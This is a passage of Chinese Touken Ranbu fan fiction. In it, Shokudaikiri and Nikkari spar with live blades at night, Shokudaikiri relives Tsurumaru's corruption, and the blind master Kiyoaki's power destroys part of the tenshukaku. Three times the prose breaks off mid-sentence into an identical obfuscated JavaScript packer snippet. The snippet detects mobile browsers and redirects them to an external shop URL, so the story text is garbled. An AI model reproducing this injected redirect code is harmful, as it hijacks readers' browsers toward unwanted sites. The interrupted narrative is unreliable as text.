“该睡觉了。”清显道,“现在是午睡的时间,对吧?” 障子门外,药研藤四郎放下了准备摇铃的手。 他提着药箱后退一步,侧头一看,窗外的天空已经开始翻起阴云,又要下雨了。楼梯处传来些许响动,短刀转过头,看见正在上楼的烛台切。对方没有注意到他,微微垂着头,表情若有所思。 独眼太刀没有笑,或者说,这振烛台切光忠一个人待着的时候一直如此,沉默得甚至有些阴郁。 药研推了推轻微滑落的眼镜,借此遮掩住无奈的神情。他在心里叹了口气:我们的本丸里净是些不正常的家伙啊。 烛台切很快察觉门外站了个人,面色如常地和短刀打招呼:“来给主人送药吗?交给我吧,主现在正在午睡。” 药研点点头,把手里的东西递给烛台切。 “虽然头上的伤口愈合得差不多了,但大将脑内还有淤血,有时候可能会头疼。发作的时候,用里头的东西敷一敷会好受很多。” 他耐心地为烛台切讲解使用方法,末尾冷不丁补了一句:“我记得,烛台切你很会照顾小孩子。” 烛台切有点诧异:“……怎么了?” “没什么。”短刀简短地道,“有时候,对待大将,用对待小孩的方式可能会有奇效。” “再见。” 药研摆了摆手,身影消失在楼梯转角。 8. 深夜手合 短刀走得干脆又潇洒,留下烛台切一个人在原地陷入了深深的茫然。 对待孩子的方式…… 耐心一些,柔和一些,必要的时候严厉一些。 恰如药研所说,他很受短刀喜欢。这三点无论哪一项烛台切都得心应手,然而对象一旦换成了清显,他就不可避免地产生一种无从下手的感觉。 深夜,烛台切独自一人坐在茶室外的走廊下,对着天上的月亮与酒杯里的月亮出神。虽然带上了酒瓶也倒了酒,他却没有要喝酒的心思,端着杯子坐了很久,还是将它放回了托盘。 ——然后,一只手接住了它。 青色头发的大胁差穿着内番服,不紧不慢地端着那只杯子在烛台切身边坐下来。 “倒了酒又不喝,是想怎么样呢?” 烛台切转过头,大胁差看见他眼底浓厚的青黑,不由感到有些诧异。 “……你这是多久没睡了?” 烛台切脸上的笑容一僵,抬手搓了把脸。 “两三天吧。”再放下手的时候,他的神色显得有些疲惫,“竟然让人看见这副样子……真是一点也不帅气啊。” 大胁差撑着脸看他。 “我从加州那听说了。觉得自己被主人讨厌……什么的?” 这个话题再一次被提起,烛台切不免有点羞耻,沉默地别过头。笑面青江却仿佛没看见,晃了晃酒杯里头清亮的酒液,也将酒杯放去一旁。 “借酒消愁,不是什么好习惯。”大胁差说,“你是不是把自己绷得太紧了?我们确实需要一位良主,也确实需要争到这位良主的青睐,却也没有紧急到需要争分夺秒的地步。” “慢慢来吧。太鼓钟想必也愿意——” “——别说了。” 笑面青江看了一眼独眼太刀猛地阴沉下来的表情,识趣地不再提。 但他并没有将话题就这么揭过的意思,转而盯着庭院里影影绰绰的植物,感叹道:“有些事情一直在心中回想,是会捂出烂疮的。毕竟,现在的样子也算是人类了嘛,偶尔还是把它翻出来晒晒比较好哦?” 烛台切道:“再怎么像人类,到底还是付丧神罢了。” 量产的,重复的,无意义的【耗材】。 这些话背后包含的意义,笑面青江完全能够理解。但他好像没听懂似的,脸上表情一点变化都没有。 “那么,现在是因为摸不准主人的心思,在暗自神伤吗?像是被玩弄抛弃了的良家少男一样啊。” 因为他糟糕的比喻,烛台切一瞬间升起了拔刀的冲动。 显然笑面青江也考虑到了这个可能,手一直放在刀柄上没松开,烛台切握着本体,皮笑肉不笑道:“让你担心了真是抱歉啊,近侍大人。” 铛——! 两振本体刀霍然出鞘,对砍一招未果,又若无其事地收了回去。 笑面青江说:“我不是早就提过了吗。现在的主人是很青涩的类型。只要稍加引导,就算是出格的事说不定也会做……我是指工作的方面。” “实在难以想象。并非质疑你识人的能力,只是越相处下去…… ”烛台切谨慎地挑选措辞,“主人和那位大人,你敢断言没有丝毫相似的地方吗?” 两双色泽相似的金瞳在月下对视。 烛台切的眼瞳色泽要更深一些,目光也更加直白、或者说执着。他紧紧地盯着笑面青江,誓要从他那里寻求到一个答案。 大胁差率先移开了视线。 “……啊。我当然明白你的意思。”他将脸靠在撑着本体的那只手背上,状似暧昧地笑笑,“毕竟是兄弟,怎么可能连一点相似的地方都没有呢?” 主君是性格冷淡、效率至上的类型。 在天守阁开启那一天前,这是本丸所有刀剑的共识。 主君平日里闭门不出,唯一能够接触他的地方就是在战场。他的作战指挥风格与前代京彦极其相似,有过之而无不及,甚至由于灵力与共感能力过于强大的缘故,对于战局往往呈现出一种微妙的、令人胆寒的掌控感。 他们能自由行动的时间很少,每一步行动都由狐之助传达。刀剑们无需花费力气在各个时间节点试错,主君会为他们修正每一处对任务造成影响的偶然事件,大到每一波敌军的出现地点,小到藏身无人之处的每一只溯行军。即使身处幕后,也如同置身战场一般。 烛台切时常有一种错觉。 战场对于主君来说是棋盘,而他们是主君手里的棋子、牵线的傀儡,每一道指令带来的威压感比前代更甚。 他们要按照主君的规划走下去,不被允许有丝毫的偏差。只要这样走下去,在前方等待着他们的就一定是胜利,只要这样走下去,就不会再有流血和死亡。这样强烈的被掌控、被使用的感觉早已深深烙印在每一位付丧神心里,即使如今展现在面前的是一个与想象中性格截然不同的主君,面对他时仍然会情不自禁地俯首躬身,揣测、琢磨他的所思所想。 “我们确实需要一位能交托【未来】的主君,”烛台切说,“但,倘若新任的主君是比上一代更甚的‘魔王’……” 独眼太刀戴着手套的双手在看不见的地方攥紧成拳,回想起记忆中的种种情状,眼底爬上一层密密麻麻的阴翳。 他设想着最糟糕的可能性,仿佛自言自语一般,语速越来越快:“如果是现在的主君,一旦走上前代的老路,到那时,结果一定要比过去严重得多。虽然现在的同伴只有十二振,但难保他不会再锻新刀,到那时必须有人行动起来,采取极端一些的手段……” 笑面青江无言地注视着他。 胁差青年的脸仍然正对前方,眼瞳却悄无声息滑到眼尾,微弱的月色将同伴阴郁可怖的神情倒映其中。 呛啷—— 独眼太刀的表情猛地绷紧,对于危险的感应让他迅速转头,身边的笑面青江抽出了摆放在一旁的本体,刀刃寒光凛冽,将太刀夜晚漆黑的视野照得一片雪亮。 大胁差居高临下地俯视着他,顺着本体刀刃往上,能瞧见一只金瞳在月光底下散发出幽冷的光泽。 “烂疮捂得太久,会生出恶鬼哦。我好歹也是斩鬼刀……怎么说,要不要我帮忙?” 他用一种堪称恐怖的视线盯着烛台切光忠,烛台切也抬眼看他,从笑面青江身上齐整的内番服,到他携带在身边的本体。像是明白了对方的用意,太刀青年也跟着起身。 “在这里会吵醒其他人吧。”烛台切道,“找个更合适的地方怎么样?” 深夜的手合室大门紧闭。室内没有点灯,唯一的光源是窗格里透进来的微弱月光。 刀架上的木刀并没有被取用,两点寒芒在室内划开凛冽的银光,刀刃带着退敌之势狠狠相撞,又被错手格开。你来我往之间,笑面青江很快依据胁差夜战的优势稳居上风,刀刃刺向烛台切的侧腹,正要得手之际险之又险地被太刀挡住,僵持不下。 “身手没变钝嘛。”笑面青江脸上的笑容没什么温度,“我还以为这些东西都跟着你的脑子一块钝化了,正打算让你流点血清醒清醒呢。” 一道尖锐的摩擦声,胁差的刀刃被太刀震开,烛台切的攻势紧随其后,长刀带着骇人的风声斩下,笑面青江借力避过,还没站稳身体,下一刀已经朝着他的手臂挥来。 当机立断,他横刀格挡。一股恐怖的力道从刀身上传来,震得胁差双臂发麻。 “我很清醒啊,青江殿。不如说,我从没有比现在更清醒过。” 与他所说的内容完全相反,烛台切裸露在外的那只眼睛隐隐发红。他今晚的状态前所未有的反常,从第一刀斩下去开始,便像是凭借本能在挥刀,气息紊乱、毫无章法,与平常在战场上游刃有余的样子大不相同。 笑面青江矮身避过,反刺一刀,布料被划破的声音响起,刀尖带出一条鲜红的血弧。烛台切卸去攻击,后退整势,大胁差甩干净刀上的血,丝毫不给他喘息时间,再次攻上。 不出意外,攻击再次被挡住。但这次胁差成功将太刀逼至角落,两振刀互不相让,刀刃在角力之间战栗着,发出刺耳的喀响。 “不觉得自己现在的样子很奇怪吗?”笑面青江手下力度半点不减,散乱的额发底下露出一点诡谲的红芒,“以前你可不是这样瞻前顾后的性格。是平常不可告人的事情想得太多了吧?” “我怎么能不去想……我怎么能不去想?” 烛台切胸膛剧烈起伏着,太刀很快在角力胜出,一击横扫将笑面青江逼退,心中狂怒的火浪燃烧得愈发猛烈。关上门以后,这座小小的手合室变成了一座铁牢笼,无人发觉、无人观察,一直盘踞在心头的漆黑恶影终于在此时原形毕露,烛台切握紧刀柄,凭借本能在黑暗中找到笑面青江的位置,一刀重重地挥斩下去: “我怎么能不去想?人类是多么善变的生物?明明平常一起吃饭睡觉看不出来一点异常,某一天睁开眼的时候一切就已经天翻地覆……同伴因为没有手入,在战场上折断了,但那甚至算得上一件好事。如果没有那场意外,那座本丸最后会变成什么样子?!” “还记得宗三的话吗?那是魔王的魔窟!!” 烛台切剧烈喘息着,争斗中蒙住左眼的眼罩被刀尖挑飞,露出那只遍布烧伤痕迹的狰狞右眼。烧伤之上,一道崭新的疤痕自上而下,似乎要将整只眼睛从中截断。 金色的瞳孔已然缩成了针尖大小,嵌在眼眶里,显得狂乱又可怖。 【光坊,听我说。最近不要靠近主君身边……你问我为什么?哈哈,理由当然是有的,但现在还不能告诉你。让我再仔细看一看,到底是什么了不得的惊吓……】 【手入室的灵力不管用了?那贞坊身上的伤……主君似乎还没有察觉。是真的没有察觉,还是故作不知呢……总之,先把贞坊藏起来,最近的出阵我替他去。……啊,他身上的伤,我会想想办法的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385742|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。】 【……修复不了啊。伤口上的黑气,简直就像某种侵蚀一样……】 【又要出阵?明白了,我会去的。说起来,不知道主君从哪找到的陌生节点,根本没有溯行军的踪迹啊。你问我在跟什么战斗?哈哈……‘妖怪’和‘鬼’啊。数量和浪潮一样,完全数不清呢。】 【……瞒不下去了,贞坊必须出阵。由我带着他吧,我将他带上战场,也一定会将他完完整整地带回来的。】 【……】 【你那是什么表情,光坊?手入室?没用的没用的。你还没去看过池水的颜色吧?还是不要碰比较好哦。我的伤口完全没问题,你看,没再流血了哦……碎刀?哈哈!放心啦。就算我不在了,照现在这个情况,很快就会有新的鹤丸国永显现的。】 【最近总会有意识不太清楚的时候呢。啊,应该是‘梦游’吧?我没在梦游的时候找人切磋吧?毕竟在睡觉的时候,手里拿着真刀还是木刀,完全想不起来啊。膝丸那家伙就是这样,前几天控制不住砍伤了自己的哥哥,清醒的时候表情简直……】 【……我应该……没有……伤害任何人吧?】 ——那只左眼最后刻印的,是鹤丸国永挥来的、泛着黑气的刀尖。 噩梦穿透记忆,胁差的本体在同样的位置虚虚划过,没有碰到皮肤,却带起一阵尖锐的疼痛。与此同时,烛台切手中刀刃传来闷钝的触感,鲜血飞溅,笑面青江左肩上皮开肉绽。 空气像是灌满了沉重的铁铅,两个人的动作顿时凝滞住了。 笑面青江问道:“清醒了吗?” 烛台切举着刀,盯着自己本体挥砍中的位置,一动不动。他耳孔里挤满了尖锐的耳鸣,笑面青江跟着瞥了一眼肩膀,伸手在伤口的位置摸索两下,扯出来一个破破烂烂的血袋。 “原本只是想给你放放血,我这边可没有受伤的打算……不过太刀的实力果然不可小觑啊,垫了那么厚的血包还是不够用。” 大胁差甩了甩刀,将本体入鞘。 他随意将那血袋丢开,烛台切的视线追着它,感觉自己也跟那血袋一样,回过神时已经栽倒在手合室冰冷的地面上,本体刀被丢到一边,刀刃因为碰撞发出轻微的嗡鸣。 太刀青年剧烈喘息着,抬手挡住双眼。 手臂上被笑面青江刺出来的伤口还在流血,但他现在也顾不上处理它了。笑面青江抱着本体刀坐在窗户底下,与烛台切隔着一段距离,等待太刀激烈的情绪平复。 不知过了多久,烛台切的呼吸慢慢平稳下来。他伸手摸了摸漆黑一片的右眼,手指抚过那道凹凸不平的伤痕,神情有些怅然。 “……谢谢。”他的声音有些嘶哑,但能听出来,温和的理智已然回笼,“现在的我清醒多了。” “清醒了就好。看你之前那副样子,实在和从前那些家伙异化前没有区别,要是哪天没看住,做出些出格的事情都不奇怪。” 烛台切露出一个苦笑,摇摇头,坐了起来。“抱歉……我会注意的。不过,以后也不用提防着我了。比起怀疑,重要的是试着去相信——你想说的是这个吧?” “我会尝试着去做的。” 笑面青江点点头。月光透过条形的栅格窗沿洒下,隐隐映亮他肩上与青色长发交缠在一起的暗红色豁口。如同感觉不到疼痛一般,大胁差歪着头静坐片刻,道:“不必担心,有什么风吹草动,我会头一个注意到。不过,想来也不会出现那种情况就是了。” 大胁差回想着人类安静的神情,指了指身后的窗口。 烛台切顺着他手指的方向望去,透过栅格窗沿,隐约能瞧见天守阁的轮廓。 银白的月辉洒在建筑冰冷的瓦顶,白日里看来高大威严的建筑沉在夜色里,恰似一幢死寂的监牢。 “当务之急……果然还是先将主人从那里解救出来吧。” 两人又坐在原地休息了一会,笑面青江从角落里找出来一根蜡烛,烛台切找来清洁用具,两人吭哧吭哧地开始洗地。 将手合室的地板清理干净,笑面青江拒绝了烛台切光忠一同潜入手入室的邀请,独自一人回了房间。等到烛台切在池子里将身上的伤口泡好、处理完身上沾血的衣物,天已经蒙蒙亮了。 他轻手轻脚地拉开房间的门,敏锐地察觉到一道视线——大俱利伽罗没有睡,坐在墙角沉默地望着他。 烛台切有点僵硬地抬手打招呼:“……伽罗酱,怎么了?睡不着吗?” 黑发青年定定地看了他好一会,问道:“你的眼睛……” 烛台切这才想起来,刚才被挑飞的眼罩已经随着脏衣物一起被处理掉了。正想着怎么搪塞过去,大俱利伽罗默默地起身,从橱柜里翻出一只眼罩递了过来。 “……谢谢。”烛台切道。 盯着同伴将眼罩戴上,确认他平安无事之后,大俱利伽罗重新躺回被子里。 “睡了。”他闷闷地道。 9. 崩溃 隔天起来,长谷部敏锐地察觉到,烛台切的样子与从前相比不太一样了。 周身那层看不见的黑雾像是被挥散了些,不如说,这才应该是烛台切原本应有的样子——高大,帅气,游刃有余,充满亲和力。 背后具体发生了什么,长谷部在闻到笑面青江身上轻微血腥味、看见烛台切不太自然的神色后迅速明白了过来。虽然知晓结果是好的,长谷部仍然没忍住,黑着脸将两人狠狠数落了一顿:“竟然用本体手合……刀架上的木刀难道是装饰品吗?既然受伤了,为什么不去手入室处理?虽然人类五感远不如付丧神灵敏,但主的灵力强盛,万一察觉到异常了,你们要怎么向主解释来源?再者……” 大胁差与烛台切一起跪坐在长谷部对面,打刀青年的训诫成功变成了左耳进右耳出的完美背景音。 唯有在听到“万一察觉到异常”那一段时,笑面青江神游的思绪一顿,视线隐晦地瞥了一眼天守阁的方向。 不是“万一”,是“已经”察觉到了哦。主人。 恰如笑面青江猜测,清显是对血腥味很敏感的类型。在兄长八目京彦接手他之前,清显每天闻到过最多的就是人血的腥气——召使的、下女的。奉命前来侍奉,走出去以后往往都缺胳膊少腿,能留得一条性命已经是万幸。 房间里的血没人敢来清理,往往等它自然干涸,黏着在地毯上,散发出难闻的臭气。 即使当时因为年幼记忆模糊,那种气味现在依旧让他记忆犹新,以至于从笑面青江身上闻到血腥气的那一瞬间,人类的脸色骤然变得难看起来。 那时笑面青江正在为他整理外袍,凑近了以后,那缕似有若无的血腥味变得更加浓郁。清显抓住近侍为他抚平领口褶皱的手,顺着那只手臂摸索了片刻,没怎么费劲就找到了伤口所在的位置。 笑面青江抬起头,状似惊讶道:“主人……这是想做什么呢?” 清显的手停在伤口正上方。 错不了。自己灵力构成的那具躯体上有一条显眼的伤口,丝缕微弱的灵力正从伤口之中流逝,虽然流逝之物很快被空气中充郁的灵力补充,但这振笑面青江确确实实是受伤了,伤口还不小。 “这里……是怎么回事?” 直接发现了? 笑面青江心中稍稍有些意外,对于新任主君灵力方面的天赋再次有了崭新的认知。 大胁差笑了笑,没忘记主人现在看不见,刻意将声音放缓,压得悦耳又柔和。 “只是一条小口子。过段日子自己就会痊愈了吧?” 听出来近侍刀想将问题糊弄过去的意图,清显顿了一下,仍然没有松手。他又一次展现出惊人的固执,低声道:“……最近没有出阵,也没有远征。是和同伴吵架了吗?” 人类微微低着头,长发遮住黯淡的双眼。笑面青江盯着清显的面容,不得不承认烛台切有句话说得不错—— 在没有足够了解的情况下,人类一旦收敛起表情,是真的很难猜到他现在在想什么。 “没有吵架,只是普通的手合而已。”大胁差挑了个不会出错的回答,“不动起来的话,身体很快会变钝,不是吗?” “……我明白了。”清显说。 他张开手掌,轻轻地按在笑面青江肩膀的伤口上,细碎柔和的灵力涌入,穿针引线般将胁差灵体上破损的缺口缝合、填补起来。笑面青江活动了一下肩膀,惊讶地发现伤口虽然没有愈合,但刺痛感已经彻底消失了。 “只是修补了灵体,伤口要去手入室修补才行。”清显的脸色有点苍白,“现在就去吧。” ……? 笑面青江脸上的笑容毫无破绽:“只是很小的伤口,什么时候处理都可以。还请……” 清显轻轻咳嗽一声,道:“我不会乱走。” 经过这几天的静养,人类的身体状况已经比之前好转许多,起码不会出现一时不察就意外昏厥的情况。笑面青江就这么被“赶”出了审神者的卧室,在障子门外俯身拜过,道:“那么,我去叫长谷部或烛台切过来。” 失策了。原来很讨厌血腥味吗? 笑面青江按了按肩膀上的伤口。 原本只是想试探一下审神者的反应,这下弄巧成拙了啊。 大胁差晃晃悠悠地下楼,正好碰见坐在走廊底下整理物品的长谷部和烛台切。本丸的风好似唯恐天下不乱,将他身上若隐若现的血腥气带去前方,灰发打刀立刻抬头,视线落在笑面青江身上,神色闪过一丝紧张:“你受伤了?” “算是吧。”笑面青江无所谓地笑笑,“只是意外。” “在本丸里会有什么意外?农具砸到脚了?昨天的畑当番是药研和石切丸吧?”长谷部杀气腾腾地拉开身后房间的门,“进来吧,我们应该好好聊聊这个问题。” ——于是演变成了这样一场说教。 笑面青江摆出虚心受教的姿势坐着听了一会,状似无意地提道:“说起来,现在主人身边没人在呢。烛台切,你现在有空吗?” “什、居然把主一个人留在天守阁?这是何等危险的举动!”长谷部果然噌地一下站起来,“你们两个的问题我记住了。烛台切,走廊底下的东西交给你了,笑面青江,趁现在赶紧去手入室!主身边没有人怎么行?之前摆在门边上的矮凳收走了吗?主万一被绊倒了怎么办?上次被磕出来的淤青还没好——” 余下的两振刀剑用敬佩的眼神目送灰发打刀离去。大胁差起身准备往手入室走,烛台切问道:“你的伤怎么样了?” “放心吧。再和你激烈地来上一场也没问题哦。” 烛台切:“……” 他感觉手有点痒,正在调理,笑面青江已经瞄了一眼走廊边摆着的箱子,露出一个一言难尽的表情:“这些是……什么东西?” “啊,那是长谷部君买来给主装饰房间用的。” “……用箱子里这些吗?你确定?” “我确定。”烛台切感同身受地点点头,“长谷部君说,主人会很喜欢的。” 独眼太刀也走到箱子旁边,从箱子里拎出一串亮晶晶、粉蓝白黄相间的贝壳挂饰,很有童趣地摇晃了两下。放眼望去,箱子里都是些挂在短刀房间里都毫不违和的物件,笑面青江想象了一下这些东西在清显卧室里的样子,心中顿时油然而生一股绝望感。 “睡太少产生幻觉了吧……” 大胁差说着,两眼发直地走了。 平心而论,清显是位很省心的病人。 按时吃药、作息规律,情绪稳定、不骄不躁,真正意义上安静得像一棵好养活的植株。失明似乎没对他造成任何影响,身体好转能下床以后,他甚至主动提出让长谷部带着他在天守阁内来回走动,熟悉房屋内的构造。 他开始默记每一处摆件的位置,似乎已经完全适应了纯黑的世界。 熟悉室内构造后,清显开始尝试脱离长谷部的指引。起初难免磕磕碰碰,灰发打刀守候在一边,紧皱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385743|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉头就没松开过。 晚上,长谷部将人类扶到椅子上,在他面前屈膝蹲下。他挽起灰色袴服下摆给清显上药,瞧见他腿上东一块西一块的淤青,心中不忍,斟酌着语气开口劝道:“主,这段时间还是卧床静养为好。您的眼睛一定会好转的,到时候再行动也不迟,在那之前就由我带着您走,您意下如何?” “谢谢你,长谷部。”清显道。 说着道谢的话,却没有任何要采纳的样子。 人类的神色总是很平静,即使付丧神提起复明的可能,那平静依旧没有丝毫的变化。长谷部不认为这是个好征兆,却苦于无从下手,犹豫再三,还是决定趁清显睡着以后找烛台切和笑面青江商议一番。 上完药以后便到了睡觉的时间,长谷部为清显整理好床铺、盖好被子道过晚安,而后安静地退到门外守候。 门内的呼吸声很快变得微弱而平稳,长谷部不放心地又多等了一会,确认主人今夜睡眠状况尚可后,伸手合上门,轻手轻脚地离去。 内间,清显侧躺在被子里,眼睛微微张着,毫无睡意。 胁差身上那一缕似有若无的血腥味仍然萦绕在他的鼻尖,提醒着他作为审神者这段时间以来的懒怠失职。 刀剑是饮血好战之物,而本丸已经许久不曾出阵了。因为双目失明的缘故,狐之助向时政递交了申请,这段时间政府不会再给他派发新的工作任务,直到他情况好转为止——他等得起,那付丧神们呢? 笑面青江说不想身体变钝,今日是手合受伤,那么来日又当如何? 血腥味会有更浓的时候吧。因为无法控制的杀意而砍杀出来的伤口,和记忆里那些因为自己受伤的模糊残躯一样。鲜血溅洒在地面,气味随着时间流逝越来越浓。 得想想办法了。清显想。 他翻身坐起,周围一片死寂的黑暗,悄无声息。长谷部不在天守阁内,应当是有事要去处理,而本是从小到大环绕在身边的熟悉氛围,此时却让他觉得有点难捱。 自失明以来一直压在心底的焦虑正在被这片黑暗渐渐放大,一股粘腻冰冷的污潮从心口涌出,将人类密不透风地包裹起来。清显在原地僵坐了一会,感受到了另一道异样的灵力波动。 似乎是私人信件,未通过休眠中的狐之助,而是由摆放在外间的灵言式神送达,极轻的铃铛声一下一下响着,像是无言的催促。 清显掀开被子起身,按照之前记忆过的路线摸黑往外间走。 这一次没有长谷部在旁边盯着,行动竟然还算顺畅,清显顺利地来到外间,循着铃铛声的方向伸出手—— 嗤。 掌缘传来尖锐的刺痛,清显的动作停顿了一下,僵硬地低下头。 不知道什么东西划伤了手,温热的血液顺着手腕向下滴淌,浓郁的血腥气赫然在鼻尖炸开,清显晕头转向地倒退几步,顺着书柜滑坐在地。 黑暗不再是黑暗,寂静也不再是寂静。世界变成一只漆黑的茧,清显死死地抱着头,耳孔里挤满断断续续、惊恐的呼吸声。他感到有一只手从背后环上来,拉着他岌岌可危的理智飞出躯壳,不断地下沉、下沉—— 深夜时分,天守阁中传来恐怖的爆响。 临时会议被中断,近侍组的三人和被惊醒的付丧神们紧赶慢赶冲到事发地点,震惊地看见了半座与废墟无异的高大建筑。 长谷部呆滞了几秒,化作残影往天守阁内冲去。 “主啊——!!!!!!” 10. 整理现场 半个小时后,在废墟里清理物品的加州清光频频望向清显所在的方向,有点不忍:“那个、烛台切,不让主人去休息真的可以吗?” 有天守阁底层结界作为缓冲,整个天守阁没有被直接轰塌,还保留着基本的建筑结构。只是门窗都已经破损,房间里更是几乎成了一片废墟,纵使还有可以落脚的地方,让主人一直待在这里还是太有失敬意了。不知为何,长谷部竟然一反常态地没有制止——明明忍得很辛苦恨不得直接躺下给主人当坐垫了,为什么就是沉默不语啊!! “别担心,加州。”烛台切脸上挂着沉稳可靠的微笑,“先让主人在那里坐一会吧。” 加州清光又回头看了一眼。 废墟里头被清理出来一小片干净的地方,一期一振和长谷部陪侍在人类身旁。如果忽略掉长谷部扭曲的表情和一期一振欲言又止的无奈微笑,场面还是很正常的——正常个鬼啊!!主人的表情一看就不对劲吧!! 加州清光印象里冷淡高傲、雷厉风行的审神者清显跪坐在两位付丧神中央,捧着付丧神递给他的物件确认形状。 “主君,这件需要保留吗?”一期一振温和有礼地问道。 清显点了一下头。 “是。” 水蓝发色的付丧神温声应下,将人类手里的物品妥帖地收进旁边的纸箱。长谷部很快将另一件被擦得快要发光的物品放入清显手中,人类呆呆地接过,摸索片刻,又点了一下头。 ——肩膀上盖着一条薄毯,表情呆呆的,让做什么就做什么,像万屋那种眼角挂了滴眼泪一点脾气都没有的等身人偶。倒不是说主人真的哭了,只是忽然想起来那个挺可爱的人偶……肩膀是不是抽了一下?诶?!真哭了吗?! 所以说——到底为什么啊?! 加州清光快要抓狂了。烛台切看了他一眼,和善可亲地递给他一只纸箱:“加州,麻烦把这个带去主人那边吧。” 打刀低头看了一眼,震惊了。 “还有这么多?!” 值得一提的是,清显并没有哭,只是处于应激过后的空白状态。房间里的付丧神实在太多了,随处可听见陌生的交流声,自己的灵力聚合体在很近的地方走来走去,很容易让他产生一种被强行揪出安全区域、暴露在强光之下的慌乱感。 但这时大脑的空白更胜一筹,简而言之,人类短暂地宕机了。 来不及考虑周围的环境变成了什么样,来不及考虑出了今晚的事情以后会有什么后果,只机械性地完成自己能完成的事。 这一行为简单有效,不知不觉间,周围略微嘈杂的交谈声慢慢成为令他安心的背景音,与平日里死寂的黑暗不同,这些温暖的响动如同轻柔的流水,缓慢地包裹住他。 慢慢地,人类紧绷的肩膀放松了一点。 没有斥责,没有惊恐的尖叫,血腥味替换成了药粉的苦香。肩膀上薄毯的重量很柔和,一道温和耐心的声音一直守在他身边,狐之助卖力地在他膝头滚来滚去企图以此谢罪——大家好像丝毫不介意今晚的事故,明明是因为他灵力暴走,几乎炸塌了半座天守阁。 为什么? “大将,小心不要碰到伤口。” “伤、伤口裂开是很疼的,主人,请小心一点……” “主,今夜之事都是我的过错!如若不是我擅离职守,您也不会受伤!我……真不知如何向您谢罪才好!!” “哦呀。自责成这样的长谷部君,想必不论主人提出什么样的要求都会照做吧?” 呛啷—— “在主面前给我好好收敛言行啊你这混蛋!!!” ——【主】。 清显将这个词翻来覆去地在心中念过,眼底漫上来一点潮意。 烛台切当然不会真的让主人把那箱东西收拾完,估摸着时间差不多了,让加州清光和一期一振带清显下楼休息。人类的手搭在打刀的手臂上,加州清光小心翼翼地搀扶着清显,头顶飘花地走了。 心碎的长谷部则被两只手臂架住,背后是烛台切和笑面青江漆黑的笑脸:“陪我们把这里收拾一下怎么样,长、谷、部、君?” “……” 付丧神们的动作很快,在废墟之中将重要物件都清理出来,三只满满当当的纸箱摆在空地上,狐之助坐在纸箱上头,耷拉着眼睛听付丧神们交流。 膝丸:“主的灵力真强啊。竟然能随随便便就毁掉这么大的建筑,行动看起来也并不吃力的样子。” 长谷部正在清点物品,闻言与有荣焉道:“主的灵力深不可测,最强盛的时期徒手扫平几队检非违使也不在话下!只是如今身体抱恙,才会有偶尔暴走的时候。” 药研蹲在一边帮忙,闻言抬起了头:“说起来,长谷部跟随大将很久了吧。以前的大将身体应该没有这么弱,中间是发生了什么事吗?” 长谷部是这座本丸里第一振追随清显的刀,却从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385744|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没听他提起过与清显相关的事。从前因为种种顾虑大家都默契地闭口不言,如今情况有所改善,在场的刀剑难免被药研的话勾起好奇心。 五虎退坐在药研身边,神情有点紧张、又有点期待:“长、长谷部先生,主人以前是什么样子的呢?” “出身阴阳师家族,又身负如此强悍的灵力,”石切丸笑道,“可以想象,一定是一位了不起的少主吧?” 髭切接话道:“嗯嗯,确实是一位很了不起的人哦。” 膝丸猝不及防的抬起头:“兄长,你什么时候见过——” “开玩笑的。”弟弟的反应让髭切觉得有趣极了,笑眯眯地举起双手作投降状,“不管我说什么都会信呢,呆呆丸。” “……是膝丸啊!阿尼甲!!” 笑面青江原本饶有兴趣地旁观,余光转到长谷部身上时,竟然发现他脸上闪过一丝紧张与懊悔。 放在平常,这振主控刀一定会不遗余力地宣扬主人的光辉与伟大,但话题讨论到现在还一言不发,已经足够瞧出端倪了。 是有什么不能说的秘密吗? 大胁差想着,举起一直捏在手里的物件:“狐之助。这是什么?” 众人的注意力果然被吸引,狐之助从箱子上跳下来,看了看他手里捏着的那枚形状怪异的小纸人,惊讶道:“是清显大人的灵言式神!” “灵言式神?那是什么?” “是阴阳师家族用来传信的方式,类似于现代的终端。是一种很古老的方式呢,一些阴阳师家族不愿意接触现代的器物,还保存着以前的传信习惯。” 狐之助从笑面青江手里接过那只纸人,纸人领口挂着的铃铛已经没在响了,头顶上却多了一道旋转不停的灵力,代表还有信息没有被接收。 “是直弥大人传来的信件。”狐狸式神的两只豆豆眼努力看了看纸人,“不过内容都是被灵力加密过的,只能等清显大人眼睛痊愈以后才能查阅了。” 一只铁手从旁边伸来,毫不留情地将纸人夺走。 “不可私自窥探主的隐私!” 狐之助愧疚地捂住了眼睛。 烛台切有点好笑地看着,没忘了提醒道:“直弥大人的来信,得尽快告知主人才行。” 